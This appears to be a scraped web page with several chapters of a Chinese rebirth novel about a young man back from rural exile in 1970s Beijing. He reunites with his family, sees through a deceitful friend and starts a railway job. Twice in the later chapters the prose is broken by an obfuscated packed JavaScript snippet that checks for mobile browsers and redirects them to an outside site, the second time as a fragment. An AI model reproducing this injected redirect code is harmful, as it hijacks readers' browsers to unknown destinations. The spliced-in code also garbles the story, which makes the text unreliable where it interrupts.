按照她以前那日子,虽然她爹是大队长,可家里兄弟们多,每天吃饭都是让男人们吃饱,女人们都糊弄肚皮。 后来她跟她爹去粮站送公粮,正好碰上去那边帮人值班的席云峥,两个岁数差不多的男女青年一下子就看对眼了。 然后两家子走了礼,她就嫁到了城里。 也是他们村第一个嫁到城里的姑娘。 只不过她在城里没工作,粮食户口都在农村,但婆婆也没有因为她是个农村人而看不起她。 家里兄弟们也长脸,每年送来的口粮是足够她吃的,夏天更是会送不少新鲜蔬菜过来,让婆婆也能高看她一眼。 其实她也想在城里找个活儿干,哪怕是临时工都成,每个月好歹有点儿工资进项。 但进门没多久就怀孕了,上有老下有小,生完孩子还帮着婆婆奶小叔子小姑子,每天累的要命,找工作这个心就淡了不少。 幸亏她娘跟大姑姐过来帮了俩月的忙,后来大姑姐也时不时帮忙喂孩子,否则她得累成人干。 不过就算她跟老二家的都没工作,但男人赚回来的工资只需要一半上交给婆婆,另一半可以自己存着用在小家。这种待遇在农村可是没有的,让她已经很欣慰了。 当年她这个妯娌嫁到席家,是为了躲灾。 那时候乱,到处都闹腾的厉害。这妯娌还是席老爷子的一个学生的妹妹,就比二叔小半年,嫁过来的时候刚满十六岁,瘦的脸上只看得到一双大眼睛。 后来在席家养了三年,才正式嫁给席老二。 只有老三媳妇儿是带着工作嫁过来的,刚进门的时候还有点儿看不上大嫂二嫂,但上面婆婆正,下面儿媳妇就闹不出乱子,再加上老三媳妇儿虽然心直口快,但心软,没多久就跟俩嫂子关系缓和了。 能嫁到席家这样的人家,徐颖还是很高兴的。 席家唯一闹心的事就是六叔下乡,这三年曾柳华脸上笑模样都少,每次接到六叔的信都会哭上好几天。 可现在六叔总算回来了,徐颖心里松了很大一口气。 席于飞不知道大嫂二嫂私下里怎么嘀咕的,他一边儿洗衣服一边儿跟席小妹聊天。 上辈子,他跟席小妹之间,算是和席家兄妹关系最近的一个。但说是最近,也不过年节里席小妹会让外甥过来看两眼,送点儿东西。 至于其他的兄弟,心里恨极了他,压根就不愿意跟他走动了。 不过最后他立遗嘱,还是把自己的钱财都分给了小辈们,反正到时候自己俩眼一闭什么都管不了了,那些钱和房子,他们愿意要就要,不愿意要就捐了。 席小妹话不多,声音也是轻声细语的。她对六哥终于回来这件事也是很开心,六哥下乡的时候她跟弟弟才十一岁,三年不见略有点儿陌生。不过当年六哥对他们也是很好的,但凡兜里有钱买了零食,都会给下面小孩子们分,她跟弟弟分的都是大份。 “那你以后上高中是打算考大学?”席于飞问。 席小妹轻声道:“我跟弟弟都没考上中专,爸说了,那就考高中,上大学,等大学毕业分配的工作都是干部,比中专要好。” 这个时候,中专生很吃香的,因为都是对口招聘。也是因为之前闹腾的太狠了,学校里老师不少都被斗了下去。 虽然逐渐平反,学校也都开始招生,可缺口太大了。 中专要求的分数比高中高了不少,毕业就直接进小学初中当老师,那可是国家分发的铁饭碗,吃香的很。 这个年代,高中生反而不值钱,除非他们能考上大学。 “你们要考大学,高中三年可得紧张起来了。大雨也想考中专吗?”席于飞对这个时候他家很多情况都不清楚了,如今也得好好熟悉熟悉。 大雨是他大侄子,跟弟弟妹妹同岁。 “他今年初二,明年才考呢。但是他不想当老师,也不想学机械。爸的意思就是干脆都考高中,上大学。” 大雨上学晚,主要是当年上学的时候生了一场病,身子有些虚弱,干脆在家里养了一年。 其实现在才刚九月份,可是在东北已经冷起来了,有的地方甚至下了雪。可等到了京城,大家也不过都穿了秋衣秋裤,还没到穿棉衣的时候呢。 而且现在高中开学也晚,不过再过几天,弟弟妹妹们就都要去上学了。 等把衣服洗完,席于飞累出了一身的汗。 不大的院子里晒满了衣裳,走路都得贴边儿。 洗完衣服,席于飞跟曾柳华拿了澡票,端了盆子拎着换洗的衣裳,去大哥的粮站那边洗澡。 刚出门,就看见骑着板 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而且他懒,被人拉板车一大早就去火车站等着,毕竟拉一趟算一趟的钱。他不,他睡到什么时候起来,什么时候出车,拉够一天饭钱就收车,坚决不累着自己。 “哎哟,老六回来啦。哎,你可算回来了,你娘眼睛都快哭瞎了。农村可不是咱们这些城里人能活的下去的,啧啧,以前你多精神啊,看看现在,都瘦成大马猴了。” 席于飞差点儿气笑,他在怎么瘦,也不可能变成大马猴。 要说大马猴,他张大嘴才像呢。 “今天赚不少?这就收车了?”席于飞转移话题。 “嘿,够喝二两!”张大嘴还挺高兴,指了指车把上挂的油纸包,“拉了个大户,送了我半只烧鸡!晚上来哥这边喝点儿?” “我可不会喝酒,再说,我能跟您嘴里抢几口啊?”席于飞举了举手里的盆子,“我这就洗澡去,晚上好好休息,明天还得去上班呢。” “不得了,你们老席家又出了个正式工!”张大嘴其实也就是客气客气,他愿意帮别人忙也是为了蹭口吃的,顺带听点儿八卦。让他把到嘴的肉送给别人吃,得心疼死。 不过,都是邻居,还是得客气的。 “那成,等你忙完了,让你嫂子炒俩菜,咱哥俩几年没见了,怎么也得一起吃点儿。” 席于飞连声应着,抬脚走了。 张大嘴骑着板车进了他那个大杂院,他们这个院子比席家大多了,还是两进的大院子。但前院住了十二户人家,后院住了十一户,边边角角都搭了棚子盖了小房,偌大的院子被煤堆柴火杂物堆的乱七八糟。 他进了院子,还得把板车拆了竖着放,否则都没放车的地方。 “啧啧,”等进了屋,张大嘴就迫不及待道:“看看人家老席家,不得了,又出了个正式工。” 他媳妇儿跟婆婆带着俩姑娘跟屋里糊纸盒子呢,他们也没工作,就每天从街道领各种纸盒子回来糊,赚点儿饭钱。 张大嘴媳妇白了张大嘴一眼,“那也是人家本事,你往前凑合啥?人家发了工资还能给你一碗米吃?” “这你就不懂了,挨着有钱的邻居,他们吃肉,我也能偶尔混口汤喝。这眼瞅着就冷了,到时候买煤,咱们能排上号,不就是因为老席家有个在煤站的吗?傻娘们儿,啥也不懂。” 张大嘴把手里的油纸包丢到桌子上,“今天有大户给的半只烧鸡,你一会儿拆了炒个菜,我跟爹喝两盅。” 那烧鸡味儿香得很,引得俩姑娘频频看过去,不停咽口水。 张大嘴媳妇儿放下手里的纸盒子,捏了捏油纸包,“能吃两顿了,骨头还能熬个汤。” 张大嘴又把今天赚的钱掏出来往桌子上一扔,然后啥也不管,抄着手就出去溜达了。 粮站的澡堂子都是内部职工用的,每天装卸粮食都累得不行,这个澡堂子算是职工福利,每个职工一个月还能领八张澡票,是给家属用的。 他们这个粮站算不上多大的粮站,澡堂子里没有搓澡的。但机械厂那种大厂的澡堂子,还有搓澡的。那也算是一份工作,就算只是个临时工也很抢手。 席于飞脱了衣裳,站在花洒下面,一打开开关,就被直冲的水流打了个激灵。 这水烧的热,水也冲,直愣愣的冲下来,打在身上甚至都有些疼。 但只要适应了这种感觉,又疼又热的还挺舒服。 席老大也知道自己弟弟来洗澡了,下了班直接去了澡堂子,正看见自己弟弟扭着身子搓泥儿呢。 他看着自己黑瘦的弟弟,眼泪差点儿出来。要知道,他弟弟下乡之前,白白净净的像个小姑娘,那手伸出来甚至比小姑娘的还漂亮。 但现在…… “六啊,我给你搓!”席老大大步过去,把席于飞吓了一跳。 席老大在家里吃得饱,个头又高,一身肌肉,看着比席于飞大了两圈。他力气也大,拿着毛巾往弟弟小身板上一蹭,跟蜕皮似的,搓的席于飞嗷的一声。 “哎妈呀,疼!哥,你退猪毛呢?” “疼啥啊?你这一身泥儿,多久没洗澡了?”席老大拎着弟弟,跟拎小鸡子似的,大巴掌拿着毛巾吭哧吭哧的搓,愣是给他弟搓的黑里透红,“咋身上也这么黑?哎哟,这脏的,你看看,面条似的。” “夏天晒得,还没捂白呢,捂一冬就白了!”席于飞呲牙咧嘴的接受着来自于亲大哥的爱,“轻点轻点,给我擦破皮我就跟娘告状!” “还能破皮!”席老大嗤笑,看着他弟弟细瘦却都是小肌肉的胳膊,“行,都有肌肉了,就是瘦了点儿。不过养两年也就养回来了,兴许还能再长点儿个头。” 席于飞无语。 他爹他娘个头都不矮,兄弟几个都是一米八以上的大个。也不知道是不是他下乡三年缺了营养,反正上辈子死活都没到一米八,估计这辈子能试试多长两公分。 如今的他,也就一米七六的个头,比他大哥矮了小半头呢。 席于飞垂着头被他哥洗涮,没看见他哥忍不住掉的眼泪。 三十多岁的大老爷们看见他弟受的这个罪,心里也疼的不行。 他家老六,真的是受苦了! 5. 一家子团圆 被大哥抛光了的席于飞觉得自己至少轻了五斤! 在东北农村天冷了洗澡很麻烦,就算是家里爱干净,也不过晚上烧点儿热水洗脸洗脚刷牙。 这一搓,身上至少白了两个度,摸摸脸蛋子都滑嫩了,被水泡出原本的胶原蛋白。 哥俩洗刷干净,拎着脏衣服抱着脸盆子,晃晃悠悠往家里走。 这个点儿正是很多单位下班到家的时间,打进了胡同口就开始不停的打招呼。 大爷大妈大娘婶子叔叔哥哥姐姐…… 这胡同里邻居们的关系,可比那些住楼房的关系好多了。孩崽子们大小就是胡同串子,揣着家里的半个粗粮饼子能跟外面玩一天。 渴了就随便钻一家院子,胡乱混口水喝。 那时候虽然每家都很穷,但大多数人对孩子不会太吝啬。胡同里的孩子们就跟吃百家饭似的,东家蹭一口贴饼子,西家蹭一口菜窝头、 东西不多,但大人孩子都挺开心的。 几步路的工夫,席于飞身后就跟了一群小孩儿。 “六哥六哥,你以后还回乡下吗?” “六叔,乡下啥样啊?听说到处都是粮食,吃不完的吃!” “六哥哥,你在乡下能吃饱饭吗?听说那边山里还有老虎,是真的吗?” 上辈子席于飞满肚子怨怼,对这群孩子态度也不是很好,总觉得这群孩子们也看不起自己。 但现在他笑呵呵的回道:“不回乡下了,回来上班。乡下到处都种粮食,但大部分粮食要交公粮,给城里人吃,所以农民很辛苦,他们为了让工人老大哥吃饱,自己经常饿肚子。我没看见过老虎,但见过野狼,还有野猪跟熊瞎子,老凶了!” “熊瞎子!!”孩子们高兴的尖叫道:“跟动物园里的一样吗?” “比动物园里的熊瞎子还大,还凶!会吃人的!”席于飞嗷呜一声把他身边几个小孩儿吓的一蹦,然后哈哈大笑道:“好了好了,等我不忙了给你们讲乡下的事儿。现在你们各回各家各找各妈,该吃饭了啊。” 孩崽子们嘻嘻哈哈的跑掉了,席于飞脸上带着笑,跟在他哥身边,“真热闹,我走的时候他们里面不少还穿开裆裤呢,现在都开始带弟弟妹妹了。” 席大哥抬手摸了把弟弟毛绒绒软塌塌的头发,“三年呢,之前家里还想去看你,但那时候形势有些紧张,大家都不太敢轻举妄动。让你受委屈了。” “嗨,这话说的,我一大老爷们受什么委屈。如今都回来了,我也是要工作领工资的人呢。”席于飞笑呵呵的往他大哥肩膀上撞了一下,“再说了,我回来了,我哥还能让我受委屈?” 席于飞下乡那一年,因为有人开始平反,上面神仙打架,形势特别紧张。再加上席老爷子是学校校长,虽然躲过了当年黑五类□□,但却一直被人盯着。 家里炖个肉也会被人举报说什么搞资本主义形式。 出门没注意没跟人打招呼,也被人举报说什么资本主义做派。 因为席于飞在家里养的比较娇,都被人举报过说什么资本主义少爷作风。 其实那时候席于飞下乡,反而躲过了一波最难过的时刻。否则在家里天天被人这么盯着,以他的性格,早晚得作点儿祸出来。 就隔壁八旗子弟张板儿爷都受过批斗的罪,动不动就被拉出去游街,剃个阴阳头。就连他们家的那几间房子,都差点儿被人搞走。 后来多亏了有人说话,这几年张大嘴日子才好过点儿。虽然没有正式工作,但拉板车自由,至少能混口饭吃。 “回来了?”曾柳华听见门口的动静,就过来张望,“哎哟,咱大宝这精神的。” 席于飞嘎嘎大笑,在他娘身前转了个圈,“我哥给我一顿搓,皮都搓掉三层。咋样,我白了不?” “白了白了,”曾柳华睁眼说瞎话,“就是瘦,跟家里养个半年就好看了。” 其实这个年代的人都不胖,主要是大家吃饭都是勒紧裤腰带的那种,若是大街上出现个胖子,都能引起围观。 这时候的胖子可是稀罕物,胖证明什么?证明人家里吃得好,油水足啊! 席于飞目前就知道附近有一家胖子,人家是屠宰场的,每天随便整点儿没人要的下脚料都够家里吃的满嘴流油了。 但就算是胖,人家也是结实的胖,而不像后来那些吃炸鸡喝可乐的虚胖。 窦屠户一家无论男女都黑壮的跟门板是的,席于飞小时候曾经亲眼看过他家比自己大三四岁的小丫头,直接能扛起半扇猪! 那场面,简直震碎他的三观,震惊好几年。 晚上吃的比较简单,就是白菜炖粉条,里面放了猪油和猪油渣。 一大盆白菜炖粉条,一盘子白菜心儿蘸酱。这时候白菜还没正式上市,能吃到都是大嫂娘家送来的半车。 中午没喝酒,但晚上席老爷子拎了半瓶子洋河大曲出来,大人这一桌还有一盘子牛油酥蚕豆,专门下酒的。 “都喝点儿,一家子团圆,高兴。”席老爷子话不多,第一杯先给曾柳华倒上了。 家里其他人见怪不怪,这老两口感情好,俩加起来一百多岁的人了,在院子里溜达的时候还会拉拉手呢。 说是一家子团圆,其实还差了四哥五哥。 但这俩算是交给国家了,一走就是六年,只有老四中间回来了一趟,是因为他找个媳妇儿,领回家给家里人看看,然后跟部队结婚。 老五跟老四是双胞胎,但至今还在打光棍。家里人着急,但催都没地方催去。 “回来了,就踏踏实实上班,等人养好了,在找个对象。”席老爷子看着自己的六儿子,眼里很是欣慰,“一转眼,都大小伙子了。” 走的时候十六岁,其实还算是个孩子。回来的时候十九了,个头都窜了不少,嘴边也开始长胡子了。 “放心吧爹,以后咱家日子会越过越好的。”席于飞举起酒盅跟他爹碰了一下,然后抿了口,被辣的斯哈斯哈。 他就喝不明白这个白酒,虽然上辈子有钱了,家里酒柜也囤了不少白酒,但他确实不太爱喝。 他更喜欢喝那些价格低廉但甜滋滋的葡萄酒,当饮料喝,微醺正好。 席老爷子也是高兴,拉着家里孩子们聊的挺晚。席于飞喝了两盅,只觉得头晕。这个时候他酒量还没练出来呢,两盅连一两都不到,直接给他干的眩晕。 回到自己房间,发现被褥都已经铺好了,床位椅子上叠着明天要穿的干净衣裳,床头柜子上面还放了一茶缸子蜂蜜水。 一看就是他老娘弄的,老太太真的是把这个儿子宠爱的不行了。 这一觉直接睡到天亮,席于飞醒的时候外面太阳都还没出来呢,但院子里已经有了动静。 他打了个呵欠,趴到窗台上拉开窗帘往外看,发现不止是大嫂二嫂起床了,他娘跟他弟弟妹妹也都起来了。 两个小的蹲在压井旁边刷牙洗脸,曾柳华手里端着个搪瓷盆,里面放了不少咸菜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679510|173223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用力揉了揉脸,席于飞掀开被子穿衣裳,趿拉着鞋子走到堂屋客厅,看见墙上挂的钟表,才五点半。 “六哥起了?”小妹胡乱擦着脸,“咋不多睡会儿?” 他们席家老家是东北的,虽然来京城有年头了,但乡音难改,现在更是满嘴混合味儿,大碴子加豆汁儿,嘿,香! “睡不着,你俩咋也起这么早?”席于飞抬手就要胡撸小妹的脑袋,但小丫头弯腰躲过去了,抿着嘴笑着跑到一旁,拿着塑料梳子梳头发。 那塑料梳子都掉齿儿了,但仍旧被小心翼翼的用着。 “我们起来帮忙做个饭,”小弟明显被姐姐活泼,“要不大嫂二嫂忙不过来,妈也累。” 这就是岁数的代沟,从席于飞再往上的哥哥姐姐都跟老爷子老太太叫爹娘。但到了小弟小妹这里,就喊爸妈了。 “比你六哥强!”席于飞竖起大拇指,“快,给哥拿毛巾洗脸盆牙刷来。” 两小只叽叽咯咯的笑,这么个工夫大侄子也出来了,揉着眼睛打呵欠,还没走到压井先打了一路的招呼。 小弟席云海拿着水舀子给俩人倒了热水,然后就去厨房帮忙了。 “六叔,一会儿你去火车站报道啊?”大侄子席向东一盆水连刷牙洗脸带头发都洗了,洗完甩脑袋,跟小狗子似的,“用我跟你去不?” “你去干啥?”席于飞躲着水珠子,“你六叔我混火车站的时候,你还和尿泥儿呢。去去去,跟你老叔玩去。” “那我就跟老叔老姑去图书馆了,”大侄子又打了个打呵欠,端着盆晃晃悠悠的回去了。 席于飞看着自己大侄子,总觉得他像个树懒。感觉全年都睡不醒,但睡不醒也不耽误人家学习。这小子好像是考上了个不错的大学,学啥玩意数学之类的。 就这成天呵欠连天的,也不知道到底怎么学的数学。 早晨喝棒子面红薯粥,配咸菜,主食就是红薯。 席于飞看着这一桌子减肥餐,想起等再过二十来年一群闲的没屁的小年轻闹腾着减肥塑性,天天就吃什么粗粮什么水煮蔬菜。 就应该让他们来这个年代活着,天天这么吃,半年能给他们馋的趴门楼子! “这两包烟带上,该送就送。人家说什么你就听着,千万不要跟人吵架。到那边找宋科长,你爹的学生已经帮你联系好了。这封介绍信你装好,别丢了。” 曾柳华看着穿的立立正正的心肝肉,总是有操不完的心,“要不我跟你一起去?” “可别了,我都十九了,去上个班还让娘送,人家怎么看我?老娘您可别操心了,火车站离家又不远,我以前总去那边玩儿,熟得很!” “成,你去吧,得走半个小时呢,回头买个自行车。”席家就两辆自行车,一辆老爷子骑,一辆是单位离家远的三哥骑。 “溜达半个小时还算远吗?要什么自行车。”席于飞巴拉巴拉头发,“成了,我走了啊娘,今天估计不能直接上班,估计中午就回来了。” 这时候的京城站还是老建筑模样,大几十年的老建筑已经有了不少风雨痕迹。 之前他们席家南下就是坐的奉京铁路,终点就是这个车站。只不过坐到一半被炸翻了,剩下的那一半路,都是腿着走的。 从胡同里出来,直奔前门大街,还没走多远呢,就听背后有人喊他。 “席于飞,哎哟,席于飞你回来啦?” 席于飞回头看见人,眼底就染上了郁色。 6. 所谓的发小 李永军一溜小跑过来,看着席于飞,满脸惊讶的表情,“真的是你啊?我听说你回来了,还寻思那群人说笑呢。这次回来住几天?你们乡下大队能请假啊?不年不节的。” 席于飞笑了笑,只是笑意不达眼底,“哦,我这边找到工作了,不回去了。” 李永军更加震惊,“真的假的?什么工作啊?临时工可不行。” 席于飞简直想笑。 自己上辈子,怎么就把李永军这个小人当成最好的朋友了呢? 当年自己被迫下乡,满肚子怨气,连信都不太喜欢给家里写。只有李永军,自己每个月都会跟他写信,就连回寄的油票都是自己掏的。 哪怕李永军三四个月才回一封信,对他来说都是一件高兴的事。 在信里,李永军详细的描述着席家各种事,什么席家又买新衣服了,又炖肉吃了,或者看见席家嫂子姐妹出去逛街,大包小包的购物。 最后还感慨一下,在乡下不自由,又累,为什么席家老两口就不心疼心疼他呢? 因为这些信,让席于飞越发的愤怒,内心怨气也越来越强。 原本回到家之后,家里人对他挺好,这怨气稍微散了点儿。可是李永军又找到他各种叭叭。 说什么火车乘务员是伺候人的活儿,既然都花这么多钱买工作了,为什么不给席于飞买个坐办公室的工作呢? 这一下子就点燃了席于飞内心的怒火,也为后面他把工作便宜卖给李永军,然后卷了家里原本要还债的钱跑掉埋下了伏笔。 上辈子他曾经在火车上见过李永军,那时候的李永军都混成了列车长,手腕上带着大手表,兜里插了大金笔,脚下踩的皮鞋锃亮。 那时候的席于飞三十来岁,事业刚刚起步,正灰头土脸,也不好意思和发小见面。 但等他彻底衣锦还乡,受到打击,心情低落的时候,又意外得知当年李永军骗自己的真相。 原来,李永军这个小人每次拿了自己诉苦的信去席家,看席家老两口伤心的样子,心里别提多得意了。因为席于飞不怎么往家里写信,李永军就拿着他的信在席家蹭吃蹭喝,连吃带拿。 他甚至还跟别人得意洋洋的炫耀,说当初席于飞想要找个工作避免下乡的时候,还是他写了好多举报信,硬是把席于飞弄去了乡下。 就连席家老两口去世,他还专门装模作样的上门吊唁,说什么当初他劝过席于飞不要卖工作,可席于飞不听,硬是卖掉工作也要远离席家。 这真的是一刀一刀往席家人心里捅啊,也别怪后来席于飞回来,席家人一个待见他的都没有。 “正式工,”席于飞把面袋子改的提兜挂在肩膀上,里面还放了几个罐头,一些大嫂家送来的土特产。这些都是要送给那个宋科长的,也不知道人家喜欢不喜欢。“我家给我买了个火车乘务员的活儿,每次出车回来还能休息三天呢。” 李永军顿时嫉妒的,脸上的表情都扭曲了一瞬。 席于飞只想回到上辈子,再次抽年轻的自己几个大嘴巴子。 这算什么发小?这就是养在身边的一条豺狼! 天天围在他身边骗吃骗喝,里挑外撅的不消停。当初的自己怎么就把这么个玩意当成好人了呢??? “乘务员啊?”李永军的眼珠子迅速转了几圈,“乘务员有什么好的?不就是个伺候人的活儿?还不如在大饭店当服务员呢,至少有吃有喝有油水啊。再说了,你不是你爸妈的大宝儿吗?咋你家都掏钱了,还不买个坐办公室的活儿?看看你三哥,天天在办公室坐着喝茶看报纸,多舒服啊。” 席于飞翻了个白眼,道:“当乘务员挺好的,免费坐火车到处跑,跟旅游一样。” 他没等李永军又说什么,继续道:“啊,对了,你的工作是你二姐转给你的吧?你二姐下乡还没回来?你不是说存工资给你二姐买个工作,让她回来吗?” 当年李家二姐自己考上了毛巾厂,成了一名正式工,给说对象的人可多了。但是李永军他妈妈就各种挑剔,挑了两年一个点头的都没有。 原本都以为是李永军他妈妈眼光高,结果那年李永军满十六岁,也得安排下乡的时候,他妈妈就逼着李家二姐把工作让给了李永军,让她下乡去了。 这件事真的让周围邻居都大跌眼镜,但李永军装模作样的跟他娘吵架,吵完了又指天画地的说每个月工资存下来,给他姐买个工作,让他姐从乡下回来。 如今三年过去了,毛巾厂一个月工资三十五块六,哪怕每个月存二十,三年下来也有六七百,足够买个普通的工作,把人弄回来了。 但席于飞知道,李家二姐压根没回来,她下乡的地方是鹏城,也就是未来的深市,一开始辛苦的不行,怎么都等不来家里让她回去的消息,没办法就嫁给了当地农村人。后来改革开放了,逐渐能过的好点儿了,李家甚至还上门去讨要过彩礼。 就这么个人,他当初怎么就猪油糊了心,当对方是自己最好的朋友呢? 提到二姐,李永军表情露出一丝不自在,他道:“别提了,我因为这个还跟我妈吵架了呢,让我妈赶紧给我二姐找个工作。我妈一直说在挑,也不知道什么时候挑好了。” 其实李家压根没想要给他二姐买工作,而是把钱都留下来,要给李永军娶媳妇呢。 现在出了新的结婚政策,男的要满21岁,女的要满20岁,否则不给扯结婚证。 如今李永军19岁了,也该开始找对象订婚,等再过一年多就能结婚了。结婚可是一笔大钱,他娘怎么都不可能掏七八百给自己亲闺女买个工作。 在她眼里,李二姐能考上一次,那就能考第二次,何必掏这个冤枉钱呢。 “行了,你去上班吧,我得赶紧去报道。”席于飞懒得跟李永军废话了。他又不是上辈子那个脑子里勾芡的傻货,作为一个灵魂六十多岁经历了不少事的老大爷,李永军这种人,一张嘴他就知道对方拉什么屎! 李永军原本想多逼逼两句,但正好公交车来了,他怕错过这辆又得等,只能连忙上车。 其实毛巾厂距离他们这片也不远,溜达着四十多分钟就能到。以前李家二姐都是走着去上班,也就李永军,懒得半死,不想溜达。家里想买自行车也没地方淘换票,只能给他办了个公交年卡。 摆脱了李永军,席于飞摸着提兜里的罐头,心里直叹气。 他爹娘真是那种不太懂人情世故的老人,怎么说呢,也懂,但懂的不多。 去新单位给领导送礼,巴巴拿四个橘子罐头过去。虽然这是好东西,但这时候的罐头可不是后世那种螺丝口能拧盖子的,而是直接压死,想吃罐头得用刀在盖子上剁个十字口,把金属盖子掰开,才能吃到罐头。 这罐头盖子就跟凶器似的,每年不知道能伤了多少人的手。 现在也有那种金属罐用钥匙开盖的罐头,但那种罐头只供友谊商场,只给有外汇券的人买,老百姓压根买不到。 席于飞盘算着自己市场里的东西,然后找了一座贴着瓷砖的公用厕所走了进去。 目前京城贴瓷砖的公用厕所只有好几个外宾常去的地方才会有,这种厕所每天都有人值班,卖手纸,清扫厕所。而且里面还有坐便器,可以冲水的那种。 并且每个坑位都是隔间,不像他们胡同的厕所,哪怕已经改建过一次,砌了半人高的隔断,但仍旧能跟对面的老哥面面相觑,相互赏鸟。 看厕所的人盯着他,上厕所还得交五分钱。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679511|173223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “坐便器那边没水,别过去。”看厕所的大声道。 主要是目前冲水马桶是稀罕物,只有偶尔进来老外才能享受到。普通老百姓还是只有蹲坑,可这也是贴着瓷砖需要花钱的蹲坑,五分钱蹲一次。 哪怕就进来撒泼尿都是五分钱,不少人体验过一次之后就再也不来了。 五分钱一泡尿,也太贵了点儿。 精装修厕所里目前一个人都没有,席于飞进了个隔间,把门锁好,直接闪进市场。 他把四瓶罐头换成了散装的水果糖和大白兔奶糖,又找了几个透明没有印花的塑料袋装。 七八十年代,就连塑料袋都是奢侈品,若是谁买东西手里拎个塑料袋,那绝对是有钱人的象征。 装了几斤散装糖,又去了糕点铺子那边,用他们复古的油纸包了几斤鸡蛋糕和桃酥牛舌饼。 直到把提兜装的满满的,席于飞才从隔间出来,对着看厕所的大哥点了点头,扬长走了。 大哥瞅着他的布袋子,脑袋里满是疑惑。 这哥们刚才进来的时候,布袋子有这么鼓吗? 咋上个厕所,布袋子变大了? 难不成…… 卧槽,真的是肥水不流外人田啊??? 席于飞也没想到大哥脑洞这么大,以为他把自己的那啥装走了。从厕所出来沿着前门大街往东走,就是当年的老火车站了。 火车站外面无论什么时候都乌央乌央的人,可能也是因为现在火车线路不多的缘故,人跟车次线路成正比,哪怕过去几十年,又盖了好几个火车站,仍旧乌央乌央的人。 办入职的地方可不在火车站里面,而是离火车站不远的地方,就隔着一条街。 门口看门的是个小年轻,毕竟这是火车站,哪怕看门的工作都是正式工,很受欢迎的。因为在这个年代,各种单位厂子里面看门的,巡逻的都属于保卫科,是一个类似于派出所警察的独立单位。 等到八十年代末期,保卫科才正式跟派出所合并。 “干什么的?”小年轻嗓门很高。他穿着保卫科专属制服,不过上面还有火车站的标示。 证明这个保卫科是火车站专属的。 “哥们儿,”席于飞笑嘻嘻的抓出一把水果糖放在岗亭的桌子上,“我找宋科长,有介绍信,是来入职的。” “哦……”小年轻看了眼水果糖,表情平淡,“介绍信呢?” 哟呵,这位还是个眼光高的。 “介绍信在这里,”席于飞掏出介绍信递过去。 小年轻看了眼介绍信,对席于飞点点头,“你跟这里等着,别乱转啊。我去喊人。” 说完,推开门就跑了。 席于飞左右看看,然后找个了夹角背人的地方,片刻后走了出来,手里多了俩油纸包。 一包放在岗亭桌子上,一包塞进布袋子。 小年轻通知了别人,又颠颠儿跑回来,然后看见桌子上的油纸包。 “香肠,吃了不脏手。”席于飞笑嘻嘻的冲小年轻眨眨眼。 能在这里看大门的保卫科小年轻绝对不是个普通考进来的老百姓,这年头,看大门这件事可是个重要的事,不像后来,让一群老头子看,啥也看不明白。 小年轻啧了声,“挺上道啊?行了,跟这里签字。啊,你会写字,对吧?” “高中生呢我。”席于飞刷刷的写了自己大名,“以后咱们就是半个同事了,还请哥们多多照顾着。” 小年轻笑嘻嘻的,“我叫高杨,以后常来玩。” 好家伙,怪不得长得圆头圆脑圆眼睛,原来叫高杨啊,是挺像个小羊羔子的。 签完字,席于飞深吸一口气,再次走进了这个熟悉的地方。 7. 入职登记 上辈子,他只在这里工作了一年半。 但并不是愉快的一年半。 他带着怨气,再加上李永军各种挑拨,心里就越来越阴暗,对这里的同事和领导,也只是点头之交,有的关系甚至可以说得上恶劣。 只是时间太久了,他对这里的人事物只留下了一些模糊的概念,很多人压根就记不起叫什么名字。 不过也好,反正如今全部从头开始了。 铁路局,是一个相对来说十分独立,并且人脉关系很广的地方。进了铁路,那就拿到了真正的铁饭碗。 在九十年代大下岗潮的时候,铁路基本上没有受到任何影响,甚至因为又开了好几条线路,反而一直在不停的招工。 铁路上还有自己的学校,毕业后专业对口直接入职,简直让人羡慕的红了眼。 最重要的一点就是,在铁路线上偷摸的倒腾点儿东西,只要不折腾的过火,基本没人会举报你。 上辈子席于飞就算跟同事关系不好,对这些私底下的交易既不参与,也不告发,主打一个爱谁谁。毕竟那时候他满脑袋狗尿拌豆腐渣,直到经历了最大的打击之后才开始逐渐的长出新的脑子。 要么后世人们都说大学生散发着单蠢的光芒呢,这个年龄段的年轻人大多数脑袋一根筋,容易上头,又及其爱面子。 上辈子他离家出走之后后悔了无数次,但因为面子问题就咬牙扛着。要不是因为站在了风口上,并且还有那么点儿财运,备不住等到老要了饭都不敢回去。 没办法,豪言壮语都发了,狼狈而归对他来说真的太丢脸了。 等老的时候每每想起当年的自己,席于飞睡着了半夜都得哭。哭自己当年轻狂,不懂事,被人骗成那样,却对最亲的家人无比防备,简直就是个蠢透了的蠢货。 铁道部办公区有一排平房,还有几栋小二楼。 有人把他带到二楼宋科长的办公室,席于飞客气的抓了把糖塞了过去,对方也是客气的收下糖,也没有什么对糖果感兴趣的样子。 只能说,铁路上的人,是见过大世面的,兜里都有点儿东西。对几毛钱一斤的水果硬糖已经没什么感觉了。 但对于更多的老百姓来说,兜里能揣几块糖,那都是很幸福的事。 “报告,”席于飞挺起胸膛,大声道:“宋科长,我叫席于飞,我来入职报道了!” 门里响起一声轻笑,“进来。” 宋科长是个四十多岁的中年男人,梳着个干部背头,穿着铁路专门的制服,桌子上摆着一堆文件,还有两部电话机。 他应该正在看报纸,看见席于飞进门,手里的报纸才刚放在桌面上。 “嚯,挺精神的小伙子啊?你就是老钟提起的那个席家老六?”宋科长嘴里的那个老钟就是席老爷子的学生。 